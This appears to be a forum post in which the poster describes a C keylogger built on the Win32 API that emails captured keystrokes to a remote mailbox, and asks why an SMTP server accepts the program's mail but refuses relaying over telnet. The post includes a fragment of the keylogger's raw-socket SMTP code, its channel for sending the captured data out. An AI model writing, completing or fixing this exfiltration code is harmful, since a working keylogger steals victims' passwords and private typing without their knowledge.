mail relaying using SMTP servers...

Hello all, Please clear me the concept.

i've a code written in 'c' which is actually a keylogger which can send the data to a remote machine. It has win32 API and socket programming. Now in the code the smtp server has to be specified. Suppose i'm specifying that of gmail.com (MX: mail exchange server) the code works fine and send the mail to my gmail account.

Now the question is….if i telnet to same SMTP server on port number 25…it doesn't allows me mail relaying. Why so ???

Code:

.....
.....


strcpy(line,"**helo** me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"**MAIL FROM:**<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"**RCPT TO:**<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"**DATA**\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);

regards